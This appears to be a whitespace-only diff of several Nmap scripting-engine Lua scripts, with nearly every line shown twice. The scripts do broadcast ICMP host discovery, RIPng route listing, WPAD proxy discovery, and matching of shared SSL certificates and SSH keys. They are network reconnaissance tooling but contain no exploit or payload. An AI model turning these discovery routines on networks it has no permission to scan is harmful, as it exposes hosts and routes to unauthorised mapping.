-- MTU values should be considered here!
assert((data_length and data_length>=0 and data_length<mtu),"ICMP Payload length: Value out of range(0-mtu).")
-- A couple of checks first
assert((seqNo and seqNo>0 and seqNo<=0xffff),"ICMP Sequence number: Value out of range(1-65535).")
assert((ttl and ttl>0 and ttl<0xff),"TTL(time-to-live): Value out of range(1-256).")
-- MTU values should be considered here!
assert((data_length and data_length>=0 and data_length<mtu),"ICMP Payload length: Value out of range(0-mtu).")
-- ICMP Message
local icmp_payload = nil
if data_length and data_length>0 then
icmp_payload = openssl.rand_bytes(data_length)
else
icmp_payload = ""
end
-- ICMP Message
local icmp_payload = nil
if data_length and data_length>0 then
icmp_payload = openssl.rand_bytes(data_length)
else
icmp_payload = ""
end
local seqNo_hex = stdnse.tohex(seqNo)
local icmp_seqNo = bin.pack(">H", string.rep("0",(4-seqNo_hex))..seqNo_hex)
local seqNo_hex = stdnse.tohex(seqNo)
local icmp_seqNo = bin.pack(">H", string.rep("0",(4-seqNo_hex))..seqNo_hex)
-- Type=08; Code=00; Chksum=0000; ID=icmp_id; SeqNo=icmp_seqNo; Payload=icmp_payload(hex string);
local icmp_tmp = bin.pack(">HAAA", "0800 0000", icmp_id, icmp_seqNo, icmp_payload)
-- Type=08; Code=00; Chksum=0000; ID=icmp_id; SeqNo=icmp_seqNo; Payload=icmp_payload(hex string);
local icmp_tmp = bin.pack(">HAAA", "0800 0000", icmp_id, icmp_seqNo, icmp_payload)
local icmp_checksum = packet.in_cksum(icmp_tmp)
local icmp_checksum = packet.in_cksum(icmp_tmp)
local icmp_msg = bin.pack(">HHAAA", "0800", stdnse.tohex(icmp_checksum), icmp_id, icmp_seqNo, icmp_payload)
local icmp_msg = bin.pack(">HHAAA", "0800", stdnse.tohex(icmp_checksum), icmp_id, icmp_seqNo, icmp_payload)
--IP Total Length
local length_hex = stdnse.tohex(20 + #icmp_msg)
local ip_length = bin.pack(">H", string.rep("0",(4-#length_hex))..length_hex)
--IP Total Length
local length_hex = stdnse.tohex(20 + #icmp_msg)
local ip_length = bin.pack(">H", string.rep("0",(4-#length_hex))..length_hex)
--TTL
local ttl_hex = stdnse.tohex(ttl)
local ip_ttl = bin.pack(">H", string.rep("0",(2-ttl_hex))..ttl_hex)
--TTL
local ttl_hex = stdnse.tohex(ttl)
local ip_ttl = bin.pack(">H", string.rep("0",(2-ttl_hex))..ttl_hex)
--IP header
local ip_bin = bin.pack(">HAHAH","4500",ip_length, "0000 4000", ip_ttl,
"01 0000 0000 0000 0000 0000")
--IP header
local ip_bin = bin.pack(">HAHAH","4500",ip_length, "0000 4000", ip_ttl,
"01 0000 0000 0000 0000 0000")
-- IP+ICMP; Addresses and checksum need to be filled
local icmp_bin = bin.pack(">AA",ip_bin, icmp_msg)
-- IP+ICMP; Addresses and checksum need to be filled
local icmp_bin = bin.pack(">AA",ip_bin, icmp_msg)
--Packet
local icmp = packet.Packet:new(icmp_bin,#icmp_bin)
assert(icmp,"Mistake during ICMP packet parsing")
--Packet
local icmp = packet.Packet:new(icmp_bin,#icmp_bin)
assert(icmp,"Mistake during ICMP packet parsing")
icmp:ip_set_bin_src(packet.iptobin(srcIP))
icmp:ip_set_bin_dst(packet.iptobin(dstIP))
icmp:ip_count_checksum()
icmp:ip_set_bin_src(packet.iptobin(srcIP))
icmp:ip_set_bin_dst(packet.iptobin(dstIP))
icmp:ip_count_checksum()
return icmp
return icmp
end
local broadcast_if = function(if_table,icmp_responders)
local condvar = nmap.condvar(icmp_responders)
local condvar = nmap.condvar(icmp_responders)
local num_probes = tonumber(stdnse.get_script_args(SCRIPT_NAME .. ".num-probes")) or 1
local num_probes = tonumber(stdnse.get_script_args(SCRIPT_NAME .. ".num-probes")) or 1
local timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout"))
timeout = (timeout or 3) * 1000
local timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout"))
timeout = (timeout or 3) * 1000
local ttl = nmap.get_ttl()
local ttl = nmap.get_ttl()
local data_length = nmap.get_payload_length()
local sequence_number = 1
local destination_IP = "255.255.255.255"
local data_length = nmap.get_payload_length()
local sequence_number = 1
local destination_IP = "255.255.255.255"
-- raw IPv4 socket
local dnet = nmap.new_dnet()
local try = nmap.new_try()
try = nmap.new_try(function() dnet:ethernet_close() end)
-- raw IPv4 socket
local dnet = nmap.new_dnet()
local try = nmap.new_try()
try = nmap.new_try(function() dnet:ethernet_close() end)
-- raw sniffing socket (icmp echoreply style)
local pcap = nmap.new_socket()
pcap:set_timeout(timeout)
-- raw sniffing socket (icmp echoreply style)
local pcap = nmap.new_socket()
pcap:set_timeout(timeout)
local mtu = if_table.mtu or 256 -- 256 is minimal mtu
local mtu = if_table.mtu or 256 -- 256 is minimal mtu
pcap:pcap_open(if_table.device, 104, false, "dst host ".. if_table.address ..
" and icmp[icmptype]==icmp-echoreply")
try(dnet:ethernet_open(if_table.device))
pcap:pcap_open(if_table.device, 104, false, "dst host ".. if_table.address ..
" and icmp[icmptype]==icmp-echoreply")
try(dnet:ethernet_open(if_table.device))
local source_IP = if_table.address
local source_IP = if_table.address
local icmp_ids = {}
local icmp_ids = {}
for i = 1, num_probes do
-- ICMP packet
local icmp_id = openssl.rand_bytes(2)
icmp_ids[icmp_id]=true
local icmp = icmp_packet( source_IP, destination_IP, ttl,
data_length, mtu, sequence_number, icmp_id)
for i = 1, num_probes do
-- ICMP packet
local icmp_id = openssl.rand_bytes(2)
icmp_ids[icmp_id]=true
local icmp = icmp_packet( source_IP, destination_IP, ttl,
data_length, mtu, sequence_number, icmp_id)
local ethernet_icmp = bin.pack("HAHA", "FF FF FF FF FF FF", if_table.mac, "08 00", icmp.buf)
local ethernet_icmp = bin.pack("HAHA", "FF FF FF FF FF FF", if_table.mac, "08 00", icmp.buf)
try( dnet:ethernet_send(ethernet_icmp) )
end
try( dnet:ethernet_send(ethernet_icmp) )
end
while true do
local status, plen, l2, l3data, _ = pcap:pcap_receive()
if not status then break end
while true do
local status, plen, l2, l3data, _ = pcap:pcap_receive()
if not status then break end
-- Do stuff with packet
local icmpreply = packet.Packet:new(l3data,plen,false)
-- We check whether the packet is parsed ok, and whether the ICMP ID of the sent packet
-- is the same with the ICMP ID of the received packet. We don't want ping probes interfering
local icmp_id = icmpreply:raw(icmpreply.icmp_offset+4,2)
if icmpreply:ip_parse() and icmp_ids[icmp_id] then
if not icmp_responders[icmpreply.ip_src] then
-- [key = IP]=MAC
local mac_pretty = stdnse.format_mac(l2:sub(7,12))
icmp_responders[icmpreply.ip_src] = mac_pretty
end
else
stdnse.print_debug("Erroneous ICMP packet received; Cannot parse IP header.")
end
end
-- Do stuff with packet
local icmpreply = packet.Packet:new(l3data,plen,false)
-- We check whether the packet is parsed ok, and whether the ICMP ID of the sent packet
-- is the same with the ICMP ID of the received packet. We don't want ping probes interfering
local icmp_id = icmpreply:raw(icmpreply.icmp_offset+4,2)
if icmpreply:ip_parse() and icmp_ids[icmp_id] then
if not icmp_responders[icmpreply.ip_src] then
-- [key = IP]=MAC
local mac_pretty = stdnse.format_mac(l2:sub(7,12))
icmp_responders[icmpreply.ip_src] = mac_pretty
end
else
stdnse.print_debug("Erroneous ICMP packet received; Cannot parse IP header.")
end
end
pcap:close()
dnet:ethernet_close()
pcap:close()
dnet:ethernet_close()
condvar "signal"
condvar "signal"
end
action = function()
--get interface script-args, if any
local interface_arg = stdnse.get_script_args(SCRIPT_NAME .. ".interface")
local interface_opt = nmap.get_interface()
--get interface script-args, if any
local interface_arg = stdnse.get_script_args(SCRIPT_NAME .. ".interface")
local interface_opt = nmap.get_interface()
-- interfaces list (decide which interfaces to broadcast on)
local interfaces ={}
if interface_opt or interface_arg then
-- single interface defined
local interface = interface_opt or interface_arg
local if_table = nmap.get_interface_info(interface)
if not if_table or not if_table.address or not if_table.link=="ethernet" then
stdnse.print_debug("Interface not supported or not properly configured.")
return false
end
table.insert(interfaces, if_table)
else
local tmp_ifaces = nmap.list_interfaces()
for _, if_table in ipairs(tmp_ifaces) do
if if_table.address and
if_table.link=="ethernet" and
if_table.address:match("%d+%.%d+%.%d+%.%d+") then
table.insert(interfaces, if_table)
end
end
end
-- interfaces list (decide which interfaces to broadcast on)
local interfaces ={}
if interface_opt or interface_arg then
-- single interface defined
local interface = interface_opt or interface_arg
local if_table = nmap.get_interface_info(interface)
if not if_table or not if_table.address or not if_table.link=="ethernet" then
stdnse.print_debug("Interface not supported or not properly configured.")
return false
end
table.insert(interfaces, if_table)
else
local tmp_ifaces = nmap.list_interfaces()
for _, if_table in ipairs(tmp_ifaces) do
if if_table.address and
if_table.link=="ethernet" and
if_table.address:match("%d+%.%d+%.%d+%.%d+") then
table.insert(interfaces, if_table)
end
end
end
if #interfaces == 0 then
stdnse.print_debug("No interfaces found.")
return
end
if #interfaces == 0 then
stdnse.print_debug("No interfaces found.")
return
end
local icmp_responders={}
local threads ={}
local condvar = nmap.condvar(icmp_responders)
local icmp_responders={}
local threads ={}
local condvar = nmap.condvar(icmp_responders)
-- party time
for _, if_table in ipairs(interfaces) do
-- create a thread for each interface
local co = stdnse.new_thread(broadcast_if, if_table, icmp_responders)
threads[co]=true
end
-- party time
for _, if_table in ipairs(interfaces) do
-- create a thread for each interface
local co = stdnse.new_thread(broadcast_if, if_table, icmp_responders)
threads[co]=true
end
repeat
for thread in pairs(threads) do
if coroutine.status(thread) == "dead" then threads[thread] = nil end
end
if ( next(threads) ) then
condvar "wait"
end
until next(threads) == nil
repeat
for thread in pairs(threads) do
if coroutine.status(thread) == "dead" then threads[thread] = nil end
end
if ( next(threads) ) then
condvar "wait"
end
until next(threads) == nil
-- generate output
local output = tab.new()
for ip_addr, mac_addr in pairs(icmp_responders) do
if target.ALLOW_NEW_TARGETS then
target.add(ip_addr)
end
tab.addrow(output, "IP: " .. ip_addr, "MAC: " .. mac_addr)
end
if #output > 0 then
output = { tab.dump(output) }
if not target.ALLOW_NEW_TARGETS then
output[#output + 1] = "Use --script-args=newtargets to add the results as targets"
end
return stdnse.format_output(true, output)
end
-- generate output
local output = tab.new()
for ip_addr, mac_addr in pairs(icmp_responders) do
if target.ALLOW_NEW_TARGETS then
target.add(ip_addr)
end
tab.addrow(output, "IP: " .. ip_addr, "MAC: " .. mac_addr)
end
if #output > 0 then
output = { tab.dump(output) }
if not target.ALLOW_NEW_TARGETS then
output[#output + 1] = "Use --script-args=newtargets to add the results as targets"
end
return stdnse.format_output(true, output)
end
end

View File

@@ -34,117 +34,117 @@ prerule = function() return ( nmap.address_family() == "inet6" ) end
RIPng = {
-- Supported RIPng commands
Command = {
Request = 1,
Response = 2,
},
-- Supported RIPng commands
Command = {
Request = 1,
Response = 2,
},
-- Route table entry
RTE = {
-- Route table entry
RTE = {
-- Creates a new Route Table Entry
-- @param prefix string containing the ipv6 route prefix
-- @param tag number containing the route tag
-- @param prefix_len number containing the length in bits of the
-- signifcant part of the prefix
-- @param metric number containing the current metric for the
-- destination
new = function(self, prefix, tag, prefix_len, metric)
local o = {
prefix = prefix,
tag = tag,
prefix_len = prefix_len,
metric = metric
}
setmetatable(o, self)
self.__index = self
return o
end,
-- Creates a new Route Table Entry
-- @param prefix string containing the ipv6 route prefix
-- @param tag number containing the route tag
-- @param prefix_len number containing the length in bits of the
-- signifcant part of the prefix
-- @param metric number containing the current metric for the
-- destination
new = function(self, prefix, tag, prefix_len, metric)
local o = {
prefix = prefix,
tag = tag,
prefix_len = prefix_len,
metric = metric
}
setmetatable(o, self)
self.__index = self
return o
end,
-- Parses a byte string and creates an instance of RTE
-- @param data string of bytes
-- @return rte instance of RTE
parse = function(data)
local rte = RIPng.RTE:new()
local pos, ip
-- Parses a byte string and creates an instance of RTE
-- @param data string of bytes
-- @return rte instance of RTE
parse = function(data)
local rte = RIPng.RTE:new()
local pos, ip
pos, ip, rte.tag, rte.prefix_len, rte.metric = bin.unpack(">A16SCC", data)
ip = select(2, bin.unpack("B" .. #ip, ip))
rte.prefix = ipOps.bin_to_ip(ip)
return rte
end,
pos, ip, rte.tag, rte.prefix_len, rte.metric = bin.unpack(">A16SCC", data)
ip = select(2, bin.unpack("B" .. #ip, ip))
rte.prefix = ipOps.bin_to_ip(ip)
return rte
end,
-- Converts a RTE instance to string
-- @return string of bytes to send to the server
__tostring = function(self)
local ipstr = ipOps.ip_to_str(self.prefix)
assert(16 == #ipstr, "Invalid IPv6 address encountered")
return bin.pack(">ASCC", ipstr, self.tag, self.prefix_len, self.metric)
end,
-- Converts a RTE instance to string
-- @return string of bytes to send to the server
__tostring = function(self)
local ipstr = ipOps.ip_to_str(self.prefix)
assert(16 == #ipstr, "Invalid IPv6 address encountered")
return bin.pack(">ASCC", ipstr, self.tag, self.prefix_len, self.metric)
end,
},
},
-- The Request class contains functions to build a RIPv2 Request
Request = {
-- The Request class contains functions to build a RIPv2 Request
Request = {
-- Creates a new Request instance
--
-- @param command number containing the RIPv2 Command to use
-- @return o instance of request
new = function(self, entries)
local o = {
command = 1,
version = 1,
entries = entries,
}
setmetatable(o, self)
self.__index = self
return o
end,
-- Creates a new Request instance
--
-- @param command number containing the RIPv2 Command to use
-- @return o instance of request
new = function(self, entries)
local o = {
command = 1,
version = 1,
entries = entries,
}
setmetatable(o, self)
self.__index = self
return o
end,
-- Converts the whole request to a string
__tostring = function(self)
local RESERVED = 0
local str = bin.pack(">CCS", self.command, self.version, RESERVED)
for _, rte in ipairs(self.entries) do
str = str .. tostring(rte)
end
return str
end,
-- Converts the whole request to a string
__tostring = function(self)
local RESERVED = 0
local str = bin.pack(">CCS", self.command, self.version, RESERVED)
for _, rte in ipairs(self.entries) do
str = str .. tostring(rte)
end
return str
end,
},
},
-- A RIPng Response
Response = {
-- A RIPng Response
Response = {
-- Creates a new Response instance
-- @return o new instance of Response
new = function(self)
local o = { }
setmetatable(o, self)
self.__index = self
return o
end,
-- Creates a new Response instance
-- @return o new instance of Response
new = function(self)
local o = { }
setmetatable(o, self)
self.__index = self
return o
end,
-- Creates a new Response instance based on a string of bytes
-- @return resp new instance of Response
parse = function(data)
local resp = RIPng.Response:new()
local pos, _
-- Creates a new Response instance based on a string of bytes
-- @return resp new instance of Response
parse = function(data)
local resp = RIPng.Response:new()
local pos, _
pos, resp.command, resp.version, _ = bin.unpack(">CCS", data)
resp.entries = {}
while( pos < #data ) do
local e = RIPng.RTE.parse(data:sub(pos))
table.insert(resp.entries, e)
pos = pos + 20
end
pos, resp.command, resp.version, _ = bin.unpack(">CCS", data)
resp.entries = {}
while( pos < #data ) do
local e = RIPng.RTE.parse(data:sub(pos))
table.insert(resp.entries, e)
pos = pos + 20
end
return resp
end,
}
return resp
end,
}
}
local function fail(err) return ("\n ERROR: %s"):format(err or "") end
@@ -152,65 +152,65 @@ local function fail(err) return ("\n ERROR: %s"):format(err or "") end
-- Parses a RIPng response
-- @return ret string containing the routing table
local function parse_response(resp)
local next_hop
local result = tab.new(3)
tab.addrow(result, "route", "metric", "next hop")
for _, rte in pairs(resp.entries or {}) do
-- next hop information is specified in a separate RTE according to
-- RFC 2080 section 2.1.1
if ( 0xFF == rte.metric ) then
next_hop = rte.prefix
else
tab.addrow(result, ("%s/%d"):format(rte.prefix, rte.prefix_len), rte.metric, next_hop or "")
end
end
return tab.dump(result)
local next_hop
local result = tab.new(3)
tab.addrow(result, "route", "metric", "next hop")
for _, rte in pairs(resp.entries or {}) do
-- next hop information is specified in a separate RTE according to
-- RFC 2080 section 2.1.1
if ( 0xFF == rte.metric ) then
next_hop = rte.prefix
else
tab.addrow(result, ("%s/%d"):format(rte.prefix, rte.prefix_len), rte.metric, next_hop or "")
end
end
return tab.dump(result)
end
action = function()
local req = RIPng.Request:new( { RIPng.RTE:new("0::", 0, 0, 16) } )
local host, port = "FF02::9", { number = 521, protocol = "udp" }
local iface = nmap.get_interface()
local timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME..".timeout"))
timeout = (timeout or 5) * 1000
local req = RIPng.Request:new( { RIPng.RTE:new("0::", 0, 0, 16) } )
local host, port = "FF02::9", { number = 521, protocol = "udp" }
local iface = nmap.get_interface()
local timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME..".timeout"))
timeout = (timeout or 5) * 1000
local sock = nmap.new_socket("udp")
sock:bind(nil, 521)
sock:set_timeout(timeout)
local sock = nmap.new_socket("udp")
sock:bind(nil, 521)
sock:set_timeout(timeout)
local status = sock:sendto(host, port, tostring(req))
local status = sock:sendto(host, port, tostring(req))
-- do we need to add the interface name to the address?
if ( not(status) ) then
if ( not(iface) ) then
return fail("Couldn't determine what interface to use, try supplying it with -e")
end
status = sock:sendto(host .. "%" .. iface, port, tostring(req))
end
-- do we need to add the interface name to the address?
if ( not(status) ) then
if ( not(iface) ) then
return fail("Couldn't determine what interface to use, try supplying it with -e")
end
status = sock:sendto(host .. "%" .. iface, port, tostring(req))
end
if ( not(status) ) then
return fail("Failed to send request to server")
end
if ( not(status) ) then
return fail("Failed to send request to server")
end
local responses = {}
while(true) do
local status, data = sock:receive()
if ( not(status) ) then
break
else
local status, _, _, rhost = sock:get_info()
if ( not(status) ) then
rhost = "unknown"
end
responses[rhost] = RIPng.Response.parse(data)
end
end
local responses = {}
while(true) do
local status, data = sock:receive()
if ( not(status) ) then
break
else
local status, _, _, rhost = sock:get_info()
if ( not(status) ) then
rhost = "unknown"
end
responses[rhost] = RIPng.Response.parse(data)
end
end
local result = {}
for ip, resp in pairs(responses) do
stdnse.print_debug(ip, resp)
table.insert(result, { name = ip, parse_response(resp) } )
end
return stdnse.format_output(true, result)
local result = {}
for ip, resp in pairs(responses) do
stdnse.print_debug(ip, resp)
table.insert(result, { name = ip, parse_response(resp) } )
end
return stdnse.format_output(true, result)
end

View File

@@ -44,11 +44,11 @@ local arg_nodhcp = stdnse.get_script_args(SCRIPT_NAME .. ".nodhcp")
local arg_getwpad= stdnse.get_script_args(SCRIPT_NAME .. ".getwpad")
local function createRequestList(req_list)
local output = ""
for _, v in ipairs(req_list) do
output = output .. string.char(v)
end
return output
local output = ""
for _, v in ipairs(req_list) do
output = output .. string.char(v)
end
return output
end
@@ -58,175 +58,175 @@ end
-- @param up string containing the interface status to filter
-- @return result table containing the matching interfaces
local function getInterfaces(link, up)
if( not(nmap.list_interfaces) ) then return end
local interfaces, err = nmap.list_interfaces()
local result
if ( not(err) ) then
for _, iface in ipairs(interfaces) do
if ( iface.link == link and iface.up == up ) then
result = result or {}
result[iface.device] = true
end
end
end
return result
if( not(nmap.list_interfaces) ) then return end
local interfaces, err = nmap.list_interfaces()
local result
if ( not(err) ) then
for _, iface in ipairs(interfaces) do
if ( iface.link == link and iface.up == up ) then
result = result or {}
result[iface.device] = true
end
end
end
return result
end
local function parseDHCPResponse(response)
for _, v in ipairs(response.options) do
if ( "WPAD" == v.name ) then
return true, v.value
end
end
for _, v in ipairs(response.options) do
if ( "WPAD" == v.name ) then
return true, v.value
end
end
end
local function getWPAD(u)
local u_parsed = url.parse(u)
local u_parsed = url.parse(u)
if ( not(u_parsed) ) then
return false, ("Failed to parse url: %s"):format(u)
end
if ( not(u_parsed) ) then
return false, ("Failed to parse url: %s"):format(u)
end
local response = http.get(u_parsed.host, u_parsed.port or 80, u_parsed.path)
if ( response and response.status == 200 ) then
return true, response.body
end
local response = http.get(u_parsed.host, u_parsed.port or 80, u_parsed.path)
if ( response and response.status == 200 ) then
return true, response.body
end
return false, ("Failed to retrieve wpad.dat (%s) from server"):format(u)
return false, ("Failed to retrieve wpad.dat (%s) from server"):format(u)
end
local function parseWPAD(wpad)
local proxies = {}
for proxy in wpad:gmatch("PROXY%s*([^\";%s]*)") do
table.insert(proxies, proxy)
end
return proxies
local proxies = {}
for proxy in wpad:gmatch("PROXY%s*([^\";%s]*)") do
table.insert(proxies, proxy)
end
return proxies
end
local function dnsDiscover()
-- tries to discover WPAD for all domains and sub-domains
local function enumWPADNames(domain)
local d = domain
-- reduce domain until we only have a single dot left
-- there is a security problem in querying for wpad.tld like eg
-- wpad.com as this could be a rougue domain. This loop does not
-- account for domains with tld's containing two parts e.g. co.uk.
-- However, as the script just attempts to download and parse the
-- proxy values in the WPAD there should be no real harm here.
repeat
local name = ("wpad.%s"):format(d)
d = d:match("^[^%.]-%.(.*)$")
local status, response = dns.query(name, { dtype = 'A', retAll = true })
-- tries to discover WPAD for all domains and sub-domains
local function enumWPADNames(domain)
local d = domain
-- reduce domain until we only have a single dot left
-- there is a security problem in querying for wpad.tld like eg
-- wpad.com as this could be a rougue domain. This loop does not
-- account for domains with tld's containing two parts e.g. co.uk.
-- However, as the script just attempts to download and parse the
-- proxy values in the WPAD there should be no real harm here.
repeat
local name = ("wpad.%s"):format(d)
d = d:match("^[^%.]-%.(.*)$")
local status, response = dns.query(name, { dtype = 'A', retAll = true })
-- get the first entry and return
if ( status and response[1] ) then
return true, { name = name, ip = response[1] }
end
until( not(d) or not(d:match("%.")) )
-- get the first entry and return
if ( status and response[1] ) then
return true, { name = name, ip = response[1] }
end
until( not(d) or not(d:match("%.")) )
end
end
-- first try a domain if it was supplied
if ( arg_domain ) then
local status, response = enumWPADNames(arg_domain)
if ( status ) then
return status, response
end
end
-- first try a domain if it was supplied
if ( arg_domain ) then
local status, response = enumWPADNames(arg_domain)
if ( status ) then
return status, response
end
end
-- if no domain was supplied, attempt to reverse lookup every ip on each
-- interface to find our FQDN hostname, once we do, try to query for WPAD
for i in pairs(getInterfaces("ethernet", "up") or {}) do
local iface, err = nmap.get_interface_info(i)
if ( iface ) then
local status, response = dns.query( dns.reverse(iface.address), { dtype = 'PTR', retAll = true } )
-- if no domain was supplied, attempt to reverse lookup every ip on each
-- interface to find our FQDN hostname, once we do, try to query for WPAD
for i in pairs(getInterfaces("ethernet", "up") or {}) do
local iface, err = nmap.get_interface_info(i)
if ( iface ) then
local status, response = dns.query( dns.reverse(iface.address), { dtype = 'PTR', retAll = true } )
-- did we get a name back from dns?
if ( status ) then
local domains = {}
for _, name in ipairs(response) do
-- first get all unique domain names
if ( not(name:match("in%-addr.arpa$")) ) then
local domain = name:match("^[^%.]-%.(.*)$")
domains[domain] = true
end
end
-- did we get a name back from dns?
if ( status ) then
local domains = {}
for _, name in ipairs(response) do
-- first get all unique domain names
if ( not(name:match("in%-addr.arpa$")) ) then
local domain = name:match("^[^%.]-%.(.*)$")
domains[domain] = true
end
end
-- attempt to discover the ip for WPAD in all domains
-- each domain is processed and reduced and ones the first
-- match is received it returns an IP
for domain in pairs(domains) do
status, response = enumWPADNames(domain)
if ( status ) then
return true, response
end
end
-- attempt to discover the ip for WPAD in all domains
-- each domain is processed and reduced and ones the first
-- match is received it returns an IP
for domain in pairs(domains) do
status, response = enumWPADNames(domain)
if ( status ) then
return true, response
end
end
end
end
end
end
end
end
return false, "Failed to find WPAD using DNS"
return false, "Failed to find WPAD using DNS"
end
local function dhcpDiscover()
-- send a DHCP discover on all ethernet interfaces that are up
for i in pairs(getInterfaces("ethernet", "up") or {}) do
local iface, err = nmap.get_interface_info(i)
if ( iface ) then
local req_list = createRequestList( { 1, 15, 3, 6, 44, 46, 47, 31, 33, 249, 43, 252 } )
local status, response = dhcp.make_request("255.255.255.255", dhcp.request_types["DHCPDISCOVER"], "0.0.0.0", iface.mac, nil, req_list, { flags = 0x8000 } )
-- send a DHCP discover on all ethernet interfaces that are up
for i in pairs(getInterfaces("ethernet", "up") or {}) do
local iface, err = nmap.get_interface_info(i)
if ( iface ) then
local req_list = createRequestList( { 1, 15, 3, 6, 44, 46, 47, 31, 33, 249, 43, 252 } )
local status, response = dhcp.make_request("255.255.255.255", dhcp.request_types["DHCPDISCOVER"], "0.0.0.0", iface.mac, nil, req_list, { flags = 0x8000 } )
-- if we got a response, we're happy and don't need to continue
if (status) then
return status, response
end
end
end
-- if we got a response, we're happy and don't need to continue
if (status) then
return status, response
end
end
end
end
action = function()
local status, response, wpad
local status, response, wpad
if ( arg_nodhcp and arg_nodns ) then
return "\n ERROR: Both nodns and nodhcp arguments were supplied"
end
if ( arg_nodhcp and arg_nodns ) then
return "\n ERROR: Both nodns and nodhcp arguments were supplied"
end
if ( nmap.is_privileged() and not(arg_nodhcp) ) then
status, response = dhcpDiscover()
if ( status ) then
status, wpad = parseDHCPResponse(response)
end
end
if ( nmap.is_privileged() and not(arg_nodhcp) ) then
status, response = dhcpDiscover()
if ( status ) then
status, wpad = parseDHCPResponse(response)
end
end
-- if the DHCP did not get a result, fallback to DNS
if (not(status) and not(arg_nodns) ) then
status, response = dnsDiscover()
if ( not(status) ) then
local services = "DNS" .. ( nmap.is_privileged() and "/DHCP" or "" )
return ("\n ERROR: Could not find WPAD using %s"):format(services)
end
wpad = ("http://%s/wpad.dat"):format( response.name )
end
-- if the DHCP did not get a result, fallback to DNS
if (not(status) and not(arg_nodns) ) then
status, response = dnsDiscover()
if ( not(status) ) then
local services = "DNS" .. ( nmap.is_privileged() and "/DHCP" or "" )
return ("\n ERROR: Could not find WPAD using %s"):format(services)
end
wpad = ("http://%s/wpad.dat"):format( response.name )
end
if ( status ) then
status, response = getWPAD(wpad)
end
if ( status ) then
status, response = getWPAD(wpad)
end
if ( not(status) ) then
return status, response
end
if ( not(status) ) then
return status, response
end
local output = ( arg_getwpad and response or parseWPAD(response) )
local output = ( arg_getwpad and response or parseWPAD(response) )
return stdnse.format_output(true, output)
return stdnse.format_output(true, output)
end

View File

@@ -78,56 +78,56 @@ local TIMED_MULTIPLIER = 1.0
-- This list is the first 50 entries of
-- http://s3.amazonaws.com/alexa-static/top-1m.csv.zip on 2013-08-08.
local ALEXA_DOMAINS = {
"google.com",
"facebook.com",
"youtube.com",
"yahoo.com",
"baidu.com",
"wikipedia.org",
"amazon.com",
"qq.com",
"live.com",
"linkedin.com",
"twitter.com",
"blogspot.com",
"taobao.com",
"google.co.in",
"bing.com",
"yahoo.co.jp",
"yandex.ru",
"wordpress.com",
"sina.com.cn",
"vk.com",
"ebay.com",
"google.de",
"tumblr.com",
"msn.com",
"google.co.uk",
"googleusercontent.com",
"ask.com",
"mail.ru",
"google.com.br",
"163.com",
"google.fr",
"pinterest.com",
"google.com.hk",
"hao123.com",
"microsoft.com",
"google.co.jp",
"xvideos.com",
"google.ru",
"weibo.com",
"craigslist.org",
"paypal.com",
"instagram.com",
"amazon.co.jp",
"google.it",
"imdb.com",
"blogger.com",
"google.es",
"apple.com",
"conduit.com",
"sohu.com",
"google.com",
"facebook.com",
"youtube.com",
"yahoo.com",
"baidu.com",
"wikipedia.org",
"amazon.com",
"qq.com",
"live.com",
"linkedin.com",
"twitter.com",
"blogspot.com",
"taobao.com",
"google.co.in",
"bing.com",
"yahoo.co.jp",
"yandex.ru",
"wordpress.com",
"sina.com.cn",
"vk.com",
"ebay.com",
"google.de",
"tumblr.com",
"msn.com",
"google.co.uk",
"googleusercontent.com",
"ask.com",
"mail.ru",
"google.com.br",
"163.com",
"google.fr",
"pinterest.com",
"google.com.hk",
"hao123.com",
"microsoft.com",
"google.co.jp",
"xvideos.com",
"google.ru",
"weibo.com",
"craigslist.org",
"paypal.com",
"instagram.com",
"amazon.co.jp",
"google.it",
"imdb.com",
"blogger.com",
"google.es",
"apple.com",
"conduit.com",
"sohu.com",
}
-- Construct the default list of domains.

View File

@@ -63,149 +63,149 @@ postrule = function() return true end
local function processSSLCerts(tab)
-- Handle SSL-certificates
-- We create a new table using the SHA1 digest as index
local ssl_certs = {}
for host, v in pairs(tab) do
for port, sha1 in pairs(v) do
ssl_certs[sha1] = ssl_certs[sha1] or {}
if ( not stdnse.contains(ssl_certs[sha1], host.ip) ) then
table.insert(ssl_certs[sha1], host.ip)
end
end
end
-- Handle SSL-certificates
-- We create a new table using the SHA1 digest as index
local ssl_certs = {}
for host, v in pairs(tab) do
for port, sha1 in pairs(v) do
ssl_certs[sha1] = ssl_certs[sha1] or {}
if ( not stdnse.contains(ssl_certs[sha1], host.ip) ) then
table.insert(ssl_certs[sha1], host.ip)
end
end
end
local results = {}
for sha1, hosts in pairs(ssl_certs) do
table.sort(hosts, function(a, b) return ipOps.compare_ip(a, "lt", b) end)
if ( #hosts > 1 ) then
table.insert(results, { name = ("Certficate (%s)"):format(sha1), hosts } )
end
end
local results = {}
for sha1, hosts in pairs(ssl_certs) do
table.sort(hosts, function(a, b) return ipOps.compare_ip(a, "lt", b) end)
if ( #hosts > 1 ) then
table.insert(results, { name = ("Certficate (%s)"):format(sha1), hosts } )
end
end
return results
return results
end
local function processSSHKeys(tab)
local hostkeys = {}
local hostkeys = {}
-- create a reverse mapping key_fingerprint -> host(s)
for ip, keys in pairs(tab) do
for _, key in ipairs(keys) do
local fp = ssh1.fingerprint_hex(key.fingerprint, key.algorithm, key.bits)
if not hostkeys[fp] then
hostkeys[fp] = {}
end
-- discard duplicate IPs
if not stdnse.contains(hostkeys[fp], ip) then
table.insert(hostkeys[fp], ip)
end
end
end
-- create a reverse mapping key_fingerprint -> host(s)
for ip, keys in pairs(tab) do
for _, key in ipairs(keys) do
local fp = ssh1.fingerprint_hex(key.fingerprint, key.algorithm, key.bits)
if not hostkeys[fp] then
hostkeys[fp] = {}
end
-- discard duplicate IPs
if not stdnse.contains(hostkeys[fp], ip) then
table.insert(hostkeys[fp], ip)
end
end
end
-- look for hosts using the same hostkey
local results = {}
for key, hosts in pairs(hostkeys) do
if #hostkeys[key] > 1 then
table.sort(hostkeys[key], function(a, b) return ipOps.compare_ip(a, "lt", b) end)
local str = 'Key ' .. key .. ':'
table.insert( results, { name = str, hostkeys[key] } )
end
end
-- look for hosts using the same hostkey
local results = {}
for key, hosts in pairs(hostkeys) do
if #hostkeys[key] > 1 then
table.sort(hostkeys[key], function(a, b) return ipOps.compare_ip(a, "lt", b) end)
